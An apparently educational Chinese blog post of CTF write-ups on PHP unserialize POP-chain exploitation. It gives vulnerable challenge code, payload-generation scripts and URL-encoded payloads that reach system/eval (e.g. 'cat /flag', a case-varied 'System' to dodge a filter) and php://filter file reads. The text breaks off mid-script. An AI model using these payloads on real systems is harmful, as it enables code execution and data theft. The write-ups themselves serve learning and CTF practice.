CTF-反序列化(持续更新)

一.知识

1.1基本介绍

介绍文章

1.2魔术方法

__construct() 当一个对象创建时自动调用
__destruct() 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
__sleep() 使**用serialize()函数时触发
__wakeup 使用unserialse()**函数时会自动调用
__toString 当一个对象被当作一个字符串被调用
__call() 在对象上下文中调用不可访问(这里的没有声明包括访问控制为proteced,private的属性)的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 调用不可访问的属性时使用
__set() 给一个不可访问的属性赋值时调用
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发

1.3类的属性protected和private

PHP 序列化的时候private和 protected 变量会引入不可见字符%00,%00类名%00属性名 为private,%00*%00属性名 为protected,注意这两个 %00就是 ascii 码为0 的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得清楚

<?php 
class test{ 
	public $address = 'shanxi'; 
	public $age = '21'; 
} 
$test1 = new test(); 
echo urlencode(serialize($test1)); 
?>

O:4:“test”:2:{s:7:“address”;s:6:“shanxi”;s:3:“age”;s:2:“21”;}

<?php 
class test{ 
	private $address = 'shanxi'; 
	protected $age = '21'; 
} 
$test1 = new test(); 
echo urlencode(serialize($test1)); 
?>

O:4:“test”:2:{s:13:“testaddress”;s:6:“shanxi”;s:6:“*age”;s:2:“21”;}

注意13和6,变成public后private前数字+2+类名长度;protected+3.

O%3A4%3A%22test%22%3A2%3A%7Bs%3A13%3A%22%00test%00address%22%3Bs%3A6%3A%22shanxi%22%3Bs%3A6%3A%22%00%2A%00age%22%3Bs%3A2%3A%2221%22%3B%7D

1.4 php7.1+版本对属性类型不敏感

对于PHP版本7.1+,对属性的类型不敏感,我们可以将private,protected类型改为public

1.5 __construct给属性赋值

class Then{
	public $func;
	public function __toString()
	{
		。。。
	}
	public function __construct(){
		$this->func = 
	}
}

1.6 调用魔术方法

注意是谁的实例

二.实例

。NSS

[SWPUCTF 2021 新生赛]ez_unserialize

进来看到

在这里插入图片描述

在源码中发现提示
在这里插入图片描述

这是提醒我们访问robots.txt
在这里插入图片描述

访问,获得源代码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

生成payload的脚本

<?php
class wllm{
    public $admin='admin';
    public $passwd='ctf';
			}

$a=new wllm();
$b=serialize($a);
echo $b;
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

payload:

?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

获得flag:
在这里插入图片描述

[SWPUCTF 2021 新生赛]no_wakeup

在这里插入图片描述

点击得到源代码

<?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?>

需要绕过__wakeup:对象的属性个数大于真实个数
脚本:

<?php
class HaHaHa{
    public $admin='admin';
    public $passwd='wllm';
			}

$a=new HaHaHa();
$b=serialize($a);
echo $b;
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

payload:

/?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

得到flag
在这里插入图片描述

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

data://写入协议来应对file_get_contents($text,'r')==="welcome to the zjctf"

?text=data://text/plain,welcome to the zjctf

题目提醒了要包含useless.php文件
使用php伪协议来读取文件

php://filter/read=convert.base64-encode/resource=useless.php

payload为:

?text=data://text/plain,welcome to the zjctf&&file=php://filter/read=convert.base64-encode/resource=useless.php

得到一串密文
Base64解密得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

脚本

<?php
class Flag{  //flag.php  
    public $file='flag.php';  
}  
$a = new Flag();
echo serialize($a);
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload

/?text=data://text/plain,welcome to the zjctf&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

输入payload页面如下
在这里插入图片描述

查看源码,发现flag
在这里插入图片描述

[SWPUCTF 2021 新生赛]pop

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

1.分析
定义了三个类:w44m、w22m、w33m。

在w44m类中,有一个Getflag()方法,它会检查 $admin 和 $passwd 的值是否为特定字符串,如果是,它将包含 flag.php 文件并打印出 $flag 的内容。

在w22m类中,有一个 __destruct() 方法,当对象销毁时,它会打印出 $w00m 属性的值。

在w33m类中,有一个 __toString() 方法,它试图调用 $w00m 对象的名为 $w22m 的方法,然后返回0。

2.写脚本生成payload的思路:
定义三个类:w22m、w33m、w44m。

在w22m类中,有一个公共属性 $w00m。

在w33m类中,有两个公共属性 $w00m 和 $w22m。

在w44m类中,有一个私有属性 $admin 和一个受保护的属性 $passwd。

然后,创建了一个w22m类的对象 $a。

给 $a->w00m 属性分配了一个新的w33m类的对象。

在w33m对象中,给 $w22m 属性分配了一个未定义的 Getflag 值

给 $w00m 属性分配了一个新的w44m类的对象。

使用 serialize() 函数将 $a 对象序列化,并将序列化后的数据存储在变量 $b 中。

打印出序列化后的数据和经过URL编码的数据。

<?php
class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w22m=Getflag;
$a->w00m->w00m=new w44m();

$b=serialize($a);
echo $b;
echo "<br>";

$text = $b;
$end = urlencode($text);
echo $end;

在这里插入图片描述

——————————
构造payload:

?w00m=O:4:%22w22m%22:1:{s:4:%22w00m%22;O:4:%22w33m%22:2:{s:4:%22w00m%22;O:4:%22w44m%22:2:{s:11:%22w44madmin%22;s:4:%22w44m%22;s:9:%22*passwd%22;s:5:%2208067%22;}s:4:%22w22m%22;s:7:%22Getflag%22;}}

在这里插入图片描述

[MoeCTF 2021]unserialize~深度嵌套的序列化结构

题目直接给出了源码:

<?php

class entrance
{
    public $start;

    function __construct($start)
    {
        $this->start = $start;
    }

    function __destruct()
    {
        $this->start->helloworld();
    }
}

class springboard
{
    public $middle;

    function __call($name, $arguments)
    {
        echo $this->middle->hs;
    }
}

class evil
{
    public $end;

    function __construct($end)
    {
        $this->end = $end;
    }

    function __get($Attribute)
    {
        eval($this->end);
    }
}

if(isset($_GET['serialize'])) {
    unserialize($_GET['serialize']);
} else {
    highlight_file(__FILE__);
}

1.分析:
这段代码实现了一个简单的 PHP 反序列化漏洞示例。它包括了三个类:entrance、springboard 和 evil,并在 if 语句中处理用户提供的反序列化数据。让我为你解释一下每个类的作用:

entrance 类:这个类有一个属性 $start,它在构造函数 __construct() 中初始化。在析构函数 __destruct() 中,它调用 $this->start->helloworld(),即调用 $start 对象的 helloworld() 方法。

springboard 类:这个类有一个属性 $middle。当未定义的方法被调用时(使用 __call() 魔术方法),它将输出 $this->middle->hs。

evil 类:这个类有一个属性 $end,它在构造函数中初始化。当未定义的属性被访问时(使用 __get() 魔术方法),它会执行 $this->end 的内容,即通过 eval() 执行用户提供的代码。

在主要的逻辑中,如果有一个 serialize 参数传递给脚本,则会调用 unserialize() 函数,并传递用户提供的序列化数据。这可能导致触发上述类的魔术方法,从而执行恶意代码。

2.写脚本生成payload的思路:
生成 payload 时,创建一个深度嵌套的序列化结构,其中包括 entrance、springboard 和 evil 三个类的实例。这样的结构是为了利用反序列化漏洞,实现在 evil 类的 __get() 方法中执行系统命令。

调用的方法要求是entrance,值要求是evil方法中的end!

代码中,$a->start->middle->end 被设置为一个字符串,其中包含了一个系统命令 system(‘cd …;cd …;cd …;ls;cat flag;ls’);。这个命令将导致执行一系列操作,包括切换到上级目录并列出目录内容,然后读取 flag 文件的内容。

<?php

class entrance
{
    public $start;

}

class springboard//跳板ne
{
    public $middle;
   
}

class evil
{
    public $end;
}
$a=new entrance();
$a->start=new springboard();
$a->start->middle=new evil();

// $a->start->middle->end='$_GET[\'a\'];';
$a->start->middle->end='system(\'cd ..;cd ..;cd ..;ls;cat flag;ls\');';

echo serialize($a);
?>

如果你不理解\的作用,请看:
在这个字符串中,反斜杠前面的反斜杠表示将反斜杠本身作为字符输出,而不是用于转义下一个字符。这样,’ 将被解释为一个单引号字符,而不是字符串的结束。这确保了你在 system 函数中正确地使用了单引号。

3.输入payload

O:8:"entrance":1:{s:5:"start";O:11:"springboard":1:{s:6:"middle";O:4:"evil":1:{s:3:"end";s:41:"system('cd ..;cd ..;cd ..;ls;cat flag;');";}}}

输入payload,得结果:
在这里插入图片描述

[NISACTF 2022]babyserialize

<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='abc';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}

if(isset($_GET['ser'])){
    @unserialize($_GET['ser']);
}else{
    highlight_file(__FILE__);
}

//func checkcheck($data){
//  if(preg_match(......)){
//      die(something wrong);
//  }
//}

//function hint(){
//    echo ".......";
//    die();
//}
?>

这种很多类的PHP代码多半是需要构造pop链

先找eval、flag这些危险函数和关键字样(这就是链尾),找到eval函数,且参数是txw4ever

在这里插入图片描述

OK,下面开始被另外的博主教做标注

首先我们找到第一步用到的参数所在位置,并在后面标注清楚需要传入的内容

1可以理解为第一步,shell表示我们这里需要传入一个类似shell的东西或者用system标注

传给谁就标注在谁的后面,这里表示要传给txw4ever,而txw4ever是在NISA类下
在这里插入图片描述

标注好后,我们回到PHP源码,往eval上面看,发现需要触发__invoke()函数

__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找)

找到$bb(),它对应的参数是su,且在类Ilovetxw里
在这里插入图片描述

同理我们进行标注,表示要调用参数su,传入NISA类
在这里插入图片描述
标注好后,我们回到PHP源码,往bb上面看,发现需要触发__toString()函数

__ToString⽅法是当对象被当做字符串的时候会自动调用

继续在所有类里面找,找到strtolower函数,该函数是将字符串转换成小写
在这里插入图片描述

对应参数 a ,在four类里,我们找到a的位置继续进行标注

因为这里还存在一个if的判断语句,需要符合才能执行后面语句,所有还需要给fun也赋值

因为fun是私有变量,我们最好直接在类里面修改

原来$fun=‘abc’; 将它修改为下图所示
在这里插入图片描述

回到PHP源码,继续往上我们找到__set函数

__set是对不存在或者不可访问的变量进行赋值就会自动调用

于是我们找到huang,我们可以看到在Ilovetxw类里面并不存在fun这个参数
在这里插入图片描述

同样进行标注
在这里插入图片描述

继续往上我们找到__call函数

__call() 在对象上下文中调用不可访问的方法时触发

我们找到TianXiWe类并不存在nisa这个方法
在这里插入图片描述

同样进行标注
在这里插入图片描述

再往上就找到wakeup函数, 即我们的链头了

该函数在使用unserilize之前就会触发。

生成payload的脚本:
先将所有类复制下来放进VS(前面加上<?php)

在这些类后面,我们开始写脚本,我先将完整的能跑出flag的脚本给大家:

<?php
 
class NISA{
    public $fun="show_me_flag";
    public $txw4ever; // 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }
 
    function __call($from,$val){
        $this->fun=$val[0];
    }
 
    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}
 
class TianXiWei{
    public $ext; //5 Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}
 
class Ilovetxw{
    public $huang; //4 four
    public $su; //2 NISA
 
    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }
 
    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}
 
class four{
    public $a="TXW4EVER"; //3 Ilovetxw
    private $fun='sixsixsix'; //fun = "sixsixsix
 
    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
 
 
$n = new NISA();
$n->txw4ever = 'System("cat /f*");';
$n->fun = "666";
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));

我们就根据刚才标注的12345顺序来写,用到哪个类时,必须先用new实例化一遍

(哪怕重复用到了某个类,也需要重新实例化一遍,比如上面的Ilovetxw类)

给大家开个头吧,我们先用到NISA类,所以实例化NISA类:$n = new NISA();

$n->txw4ever表示调用这个类里面的txw4ever,后面传入我们想要传入的内容即可

至于为什么改fun的值,我们后面再说;

至此我们完成了1步骤,继续往下看,来到2

我们用到Ilovetxw类,将其实例化,同理根据标注进行调用传参即可

这样我们就可以写出后面所以的脚本了

过滤与绕过
在这里插入图片描述

两种在代码中出现的位置
checkcheck():
在这里插入图片描述

hint():
在这里插入图片描述

找到hint函数位置,在第一个类,如何绕过这个函数 ,只需让if语句判断不成立即可

所以你现在知道为什么前面我们需要修改fun的值了吧。

如果没有改fun的值,你只能得到一个提示,flag在根目录
在这里插入图片描述

preg_match用来进行正则匹配,但没给匹配的内容,用的…,暗示我们存在关键字的过滤,

这里system被过滤掉了,如果我们原封不动的使用system,不出意外会返回 something wrong
在这里插入图片描述

用的是大小写绕过

拿flag
在这里插入图片描述

解法二.弱类型比较

在NISA::__wakeup里,做弱比较的时候就能触发__toString

还是分析一下

先找eval、flag这些危险函数和关键字样(这就是链尾),找到NISA对象中的eval函数,且参数是txw4ever
在这里插入图片描述
标注
在这里插入图片描述

往上找,__invoke函数

当脚本尝试将对象调用为函数时触发

我们找到Ilovetxw类中的__toString函数中有$bb(),其对应的参数为su
在这里插入图片描述

标注
在这里插入图片描述

往上找,__toString函数

一个对象被当作一个字符串被调用时触发

我们找到NISA对象中的__wakeup函数中的if弱类型比较,参数是fun
在这里插入图片描述

标注
在这里插入图片描述

再往上就找到wakeup函数, 即我们的链头了

该函数在使用unserilize之前就会触发。

生成payload的脚本:

<?php
class NISA{
    public $txw4ever;
}
class Ilovetxw{
	public $su;
}
 
$a = new NISA();
$a->txw4ever='System("cat /f*");';
$a->fun = '666';
$b = new Ilovetxw();
$b->su=$a;
$c = new NISA();
$c->fun = $b;
echo urlencode(serialize($c));

绕过就不讲了,大小写,改fun的值。就是注意这里建立了两个的NISA对象,fun的值都改一下
在这里插入图片描述

[NISACTF 2022]popchains

Happy New Year~ MAKE A WISH
<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

在这里插入图片描述

Try_Work_Hard类中的append方法中有文件包含漏洞

往下看,__invoke函数可以触发append函数

变量是var,标注
在这里插入图片描述

要调用__invoke

当脚本尝试将对象调用为函数时触发

找到Make_a_Change类里__get函数里的$function(),参数是$effort
在这里插入图片描述

标注
在这里插入图片描述

要触发__get函数

调用不存在的或私有的属性时使用

往上看,找到Road_is_Long类中的__toString函数中string->page,参数是$string
在这里插入图片描述

标注

在这里插入图片描述

要触发__toString

当一个对象被当作一个字符串调用时

往下看,找到Road_is_Long类(同一个类)__wakeup函数中的preg_match(“/file|ftp|http|https|gopher|dict|../i”, $this->page),参数是$page
在这里插入图片描述

标注
在这里插入图片描述

再往上就找到wakeup函数, 即我们的链头了

该函数在使用unserilize之前就会触发。

生成payload的脚本

<?php
class Road_is_Long{
    public $page;//4 Make_a_Change
    public $string;//3 Make_a_Change
    public function __construct($file='index.php'){
        $this->page = $file;
    }

    //当一个对象被当作一个字符串被调用
    public function __toString(){
        return $this->string->page;
    }

	//unserialse()
    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;//1 shell
    public function append($value){
        include($value);
    }	
    //当脚本尝试将对象调用为函数时触发
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;//2 Try_Work_Hard
    public function __construct(){
        $this->effort = array();
    }

	// 调用不存在或私有属性时使用
    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}

$a = new Try_Work_Hard();
$b = new Make_a_Change();
$b->effort = $a;
$c = new Road_is_Long();
$c->string = $b;
$d = new Road_is_Long();
$d->page = $c;
$e = urlencode(serialize($d));
echo $e;

payload:

/?wish=O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3Bs%3A9%3A"index.php"%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A54%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

在这里插入图片描述

TlNTQ1RGe2VjOGJjZDAyLTBkNjQtNGI4NC1iMGE1LTJhODFkMjI2MzQzYn0K

解密得flag
在这里插入图片描述

[第五空间 2021]pklovecloud

考点:PHP引用 新建类来满足条件 首次触发的是__toString

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

这里很快就可以看到需要利用的点在ace::echo_name的file_get_contents,

pop链非常简单acp::__toString->ace::echo_name

首先要的点实在acp的cinder,这个变量的属性是protected,刚开始做题的时候没看到一直在想到底哪里错了,这里我们要在acp::__construct来实例化ace类。

acp::__toString的触发方法

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 

这段代码中的echo会将acp类当作字符串输出,这时就会触发toString。

然后再看到ace类,filename要等于flag.phpdocker要为一个类,虽然后续的变量看起来是acp类的,但是acp类里面都受保护的变量,序列化后会有不可见字符处理起来不方便。我们不妨新写一个类fake,这个类里面只有$neutron和$nova

class fake
{
	public $neutron=1;
	public $nova;
}

接着往下看

$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)

这里对neutron进行了赋值,让它等于heat,那么这个时候neutron就不可能与nova全等。

php引用

要绕过这一层就需要用到PHP的引用,大致的意思就是让两个变量指向同一个内容。

首先对刚刚新写的类进行序列化

$fake = new fake();
$fake->nova = &$fake->neutron;
$fake = serialize($fake);
echo $fake;

得到O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;},将它赋值给docker

exp如下:

<?php  
 
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new ace;
    }  
}
 
class ace
{    
    public $filename="flag.php";     
    public $openstack;
    public $docker='O:4:"fake":2:{s:7:"neutron";i:1;s:4:"nova";R:2;}';  
}  
 
$acp = new acp();
 
$acp = urlencode(serialize($acp));
echo $acp;
 
?>

payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

在这里插入图片描述

查看源码

在这里插入图片描述

最后将../nssctfasdasdflag赋值给filename,

payload:

O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22…%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A48%3A%22O%3A4%3A%22fake%22%3A2%3A%7Bs%3A7%3A%22neutron%22%3Bi%3A1%3Bs%3A4%3A%22nova%22%3BR%3A2%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

在这里插入图片描述
参考:
https://www.cnblogs.com/bl0ck/articles/17728863.html

。SHCTF-2023

ez_serialize

<?php
highlight_file(__FILE__);

class A{
  public $var_1;
  
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

if(isset($_GET['payload']))
{
    unserialize($_GET['payload']);
}
?>

考点:文件包含 php://filter 反序列化 知道该包含flag.php
解决:标注顺序

在A类中发现文件包含漏洞,开始标注写出脚本

<?php
class A{
  public $var_1;//1 shell
  //当脚本尝试将对象调用为函数时触发
  public function __invoke(){
   include($this->var_1);
  }
}

class B{
  public $q;//4 C
  //反序列化
  public function __wakeup()
{
  if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
            echo "hacker";           
        }
}

}
class C{
  public $var;
  public $z;//3 D
  	//当一个对象被当作一个字符串被调用
    public function __toString(){
        return $this->z->var;
    }
}

class D{
  public $p;//2 A
  	//调用不可访问的属性时使用
    public function __get($key){
        $function = $this->p;
        return $function();
    }  
}

$a = new A();
$a->var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
$d = new D();
$d->p = $a;
$c = new C();
$c->z = $d;
$b = new B();
$b->q = $c;
echo urlencode(serialize($b));
?>

O%3A1%3A%22B%22%3A1%3A%7Bs%3A1%3A%22q%22%3BO%3A1%3A%22C%22%3A2%3A%7Bs%3A3%3A%22var%22%3BN%3Bs%3A1%3A%22z%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A1%3A%22A%22%3A1%3A%7Bs%3A5%3A%22var_1%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7D%7D

在这里插入图片描述

PD9waHANCiRmbGFnID0gImZsYWd7ZWE4NmNlN2UtNGRmOC00MmQ2LTg2NDgtOGUwMDRlOGFjMzVmfSI7DQo=

Base64解码,得到flag

<?php $flag = "flag{ea86ce7e-4df8-42d6-8648-8e004e8ac35f}";

。NewStarCTF 2023

POP Gadget

考点:
PHP反序列化 POP构造
疑点:

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

第一种方法

[0x00]分析链条

<?php
highlight_file(__FILE__);

class Begin{
    public $name;//6 Then

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;//5 Super

// 当一个对象被当作一个字符串被调用
    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj// 3 CTF
//在对象上下文中调用不可访问(这里的没有声明包括访问控制为proteced,private的属性)的方法时触发
    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;// 4 Handle
//__invoke() 当脚本尝试将对象调用为函数时触发    
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;//2 WhiteGod

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;//1 shell system
    public $var;//1 shell "ls /"

//在不可访问的属性上使用unset()时触发
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

@unserialize($_POST['pop']);

[0x01]payload:

<?php
class Begin{
    public $name;
}

class Then{
    public $func;
}

class Handle{
    public $obj;
}

class Super{
    public $obj;
}

class CTF{
    public $handle;

}

class WhiteGod{
    public $func;
    public $var;
}

$a = new WhiteGod();
$a->func = 'system';
$a->var = 'cat /flag';
$b = new CTF();
$b->handle = $a;
$c = new Handle();
$c->obj = $b;
$d = new Super();
$d->obj = $c;
$e = new Then();
$e->func = $d;
$h = new Begin();
$h->name = $e;
echo urlencode(serialize($h));

O%3A5%3A%22Begin%22%3A1%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Then%22%3A1%3A%7Bs%3A4%3A%22func%22%3BO%3A5%3A%22Super%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A6%3A%22Handle%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A3%3A%22CTF%22%3A1%3A%7Bs%3A6%3A%22handle%22%3BO%3A8%3A%22WhiteGod%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A6%3A%22system%22%3Bs%3A3%3A%22var%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D%7D%7D%7D%7D

第二种方法

POP Gadget如下:
Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset

编写Exp如下:

<?php
class Begin{
    public $name;
    public function __construct($a)   
    {        
        $this->name = $a;
    }
}

class Then{
    private  $func;
    public function __construct($a)   
    {        
        $this->func = $a;
    }
}

class Handle{
    protected  $obj;
    public function __construct($a)   
    {        
